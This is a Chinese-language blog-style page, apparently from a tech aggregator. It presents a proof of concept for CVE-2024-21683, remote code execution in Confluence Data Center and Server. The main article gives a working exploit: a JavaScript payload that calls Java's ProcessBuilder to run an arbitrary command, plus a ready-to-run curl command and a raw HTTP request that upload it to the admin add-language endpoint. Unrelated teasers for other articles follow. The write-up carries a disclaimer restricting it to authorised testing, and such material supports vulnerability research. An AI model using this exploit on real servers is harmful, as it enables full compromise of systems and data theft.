news 2026/5/3 1:46:20

CVE-2024-21683:Confluence Data Center 与 Server 远程代码执行漏洞分析

作者头像

张小明

前端开发工程师

1.2k 24
文章封面图
CVE-2024-21683:Confluence Data Center 与 Server 远程代码执行漏洞分析

CVE-2024-21683:Confluence Data Center 与 Server 远程代码执行漏洞

项目描述

CVE-2024-21683 是 Atlassian Confluence Data Center 和 Server 版本中存在的一个严重安全漏洞。该漏洞允许经过身份验证的攻击者通过特定的管理员插件功能,上传恶意的 JavaScript 文件,从而在服务器上执行任意系统命令。成功利用此漏洞可能导致攻击者完全控制受影响的 Confluence 服务器,进而窃取数据、篡改信息或破坏服务可用性。

功能特性

  • 漏洞验证:提供了两种详细的漏洞利用请求方法,用于验证目标 Confluence 服务器是否存在 CVE-2024-21683 漏洞。
  • 命令执行:利用 Java 的ProcessBuilder类,通过上传的 JavaScript 文件在目标服务器上执行任意操作系统命令(示例中为启动计算器程序calc.exe)。
  • 多种利用方式:包含通过curl命令行工具和原始 HTTP POST 请求两种攻击向量,适应不同测试环境和工具链。
  • 清晰的触发条件:明确了漏洞利用成功的关键要素,包括有效的管理员会话(atl_tokenCookie)以及对/admin/plugins/newcode/addlanguage.action端点的访问权限。

安装指南

此项目并非一个需要安装的软件,而是一个安全漏洞的概念验证(PoC)和说明文档。因此,没有传统的安装步骤或依赖项。

使用前提:

  1. 一个用于测试的、受漏洞影响的 Atlassian Confluence Data Center 或 Server 环境。
  2. 具备该环境的网络访问权限。
  3. 拥有一个有效的、具有管理员权限的 Confluence 用户会话(用于获取atl_tokenCookie)。
  4. 用于发送 HTTP 请求的工具,如curl、Burp Suite 或 Postman。

注意:此 PoC 仅限用于授权的安全测试、教育研究或漏洞验证。严禁在未获得明确授权的情况下对任何系统进行测试。

使用说明

基础利用步骤

  1. 准备恶意负载:创建一个名为exploit.js的文本文件,内容如下:

    newjava.lang.ProcessBuilder["(java.lang.String[])"](["calc.exe"]).start()

    您可以将calc.exe替换为目标服务器操作系统支持的任何其他命令。

  2. 获取认证令牌:登录到目标 Confluence 的管理员后台,从相关表单或页面中获取有效的atl_token值以及当前会话的Cookie

  3. 执行漏洞利用:选择以下任一方法发送攻击请求。

利用方法一:使用 cURL 命令

在终端中执行以下命令,替换[IP_address][atl_token][Your cookies]为实际值。

curl-X POST http://[IP_address]:8090/admin/plugins/newcode/addlanguage.action -H"Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryvguW5DY0BuQ87x08"-F"atl_token=[atl_token]"-F"languageFile=@exploit.js;filename=exploit.js"-F"newLanguageName=RCE"--cookie"[Your cookies]"

利用方法二:发送原始 HTTP 请求

使用 Burp Suite、Postman 或类似的 HTTP 客户端工具,发送如下格式的 POST 请求。

POST /admin/plugins/newcode/addlanguage.action HTTP/1.1 Host: 127.0.0.1:8090 Content-Length: 512 Cache-Control: max-age=0 Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryvguW5DY0BuQ87x08 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.5845.111 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7 Cookie: [Your cookies ] Connection: close WebKitFormBoundaryvguW5DY0BuQ87x08 Content-Disposition: form-data; name="atl_token" [ atl_token ] WebKitFormBoundaryvguW5DY0BuQ87x08 Content-Disposition: form-data; name="languageFile"; filename="exploit.js" Content-Type: text/javascript new java.lang.ProcessBuilder["(java.lang.String[])"](["calc.exe"]).start() WebKitFormBoundaryvguW5DY0BuQ87x08 Content-Disposition: form-data; name="newLanguageName" RCE WebKitFormBoundaryvguW5DY0BuQ87x08--

验证利用结果

如果目标服务器存在漏洞且利用请求成功,服务器将解析并执行exploit.js文件中的 JavaScript 代码。在 Windows 服务器上,这将导致calc.exe(计算器)进程被启动,作为命令执行成功的直观证明。

核心代码

以下是构成此 PoC 的核心代码片段及其注释:

1. 恶意 JavaScript 负载 (exploit.js)

// 利用Java的ProcessBuilder类执行系统命令// `["calc.exe"]` 是要执行的命令及其参数列表(此处仅为启动计算器的命令)// `.start()` 方法启动该进程newjava.lang.ProcessBuilder["(java.lang.String[])"](["calc.exe"]).start()

注释:这是漏洞利用的核心。它利用了 Confluence 服务端对上传的 JavaScript 文件进行不安全解析或执行的特性,直接调用了 Java 运行时环境来创建新的系统进程。

2. cURL 攻击命令的关键部分

-F"languageFile=@exploit.js;filename=exploit.js"

注释-F参数用于向multipart/form-data类型的表单提交文件。@exploit.js指定了要上传的本地文件路径,filename=exploit.js设置了文件在HTTP请求中的名称。这是将恶意脚本上传到漏洞端点的关键参数。

3. HTTP 请求中的 multipart 表单数据体

WebKitFormBoundaryvguW5DY0BuQ87x08 Content-Disposition: form-data; name="languageFile"; filename="exploit.js" Content-Type: text/javascript [恶意JS代码内容]

注释:这部分展示了原始 HTTP 请求中上传文件的格式。Content-Disposition头部指明了这是一个表单文件字段,其名称为languageFile,服务器端代码预期通过此名称接收文件。Content-Type告诉服务器文件类型为 JavaScript,这可能是触发服务器端特定解析逻辑的条件之一。边界符------WebKitFormBoundary...用于分隔表单中的不同字段。
更多精彩内容 请关注我的个人公众号 公众号(办公AI智能小助手)
对网络安全、黑客技术感兴趣的朋友可以关注我的安全公众号(网络安全技术点滴分享)

版权声明: 本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若内容造成侵权/违法违规/事实不符,请联系邮箱:809451989@qq.com进行投诉反馈,一经查实,立即删除!
网站建设 2026/4/30 20:27:56

如何快速解决ESP开发中的崩溃问题?ESP异常解码工具使用指南

如何快速解决ESP开发中的崩溃问题?ESP异常解码工具使用指南 【免费下载链接】EspExceptionDecoder Exception Stack Trace Decoder for ESP8266 and ESP32 项目地址: https://gitcode.com/gh_mirrors/es/EspExceptionDecoder 还在为ESP32/ESP8266开发中的神秘…

作者头像 李华
网站建设 2026/4/28 18:40:52

【Java毕设全套源码+文档】基于springboot的中老年人文化活动平台设计与实现(丰富项目+远程调试+讲解+定制)

博主介绍:✌️码农一枚 ,专注于大学生项目实战开发、讲解和毕业🚢文撰写修改等。全栈领域优质创作者,博客之星、掘金/华为云/阿里云/InfoQ等平台优质作者、专注于Java、小程序技术领域和毕业项目实战 ✌️技术范围:&am…

作者头像 李华
网站建设 2026/5/2 12:48:23

终极可视化编程解决方案:如何快速构建企业级工作流编辑器

终极可视化编程解决方案:如何快速构建企业级工作流编辑器 【免费下载链接】rete JavaScript framework for visual programming 项目地址: https://gitcode.com/gh_mirrors/re/rete 在数字化转型浪潮中,企业面临着日益复杂的业务流程管理挑战。传…

作者头像 李华
网站建设 2026/4/21 13:50:40

按钮绑定事件达成跳转效果并将树结构id带入子页面形成参数完成查询功能并将返回的数据渲染到页面上2022.5.29

问题汇总:1.在某个节点上,点击新增按钮后,新增页面的表单输入框中把这个节点的id带进去有一个树结构的展示,把每个节点的数据包括id都取到了,节点右边都写了一个新增按钮,但是进入新增页面还是需要手动输入父节点,我想问一下&…

作者头像 李华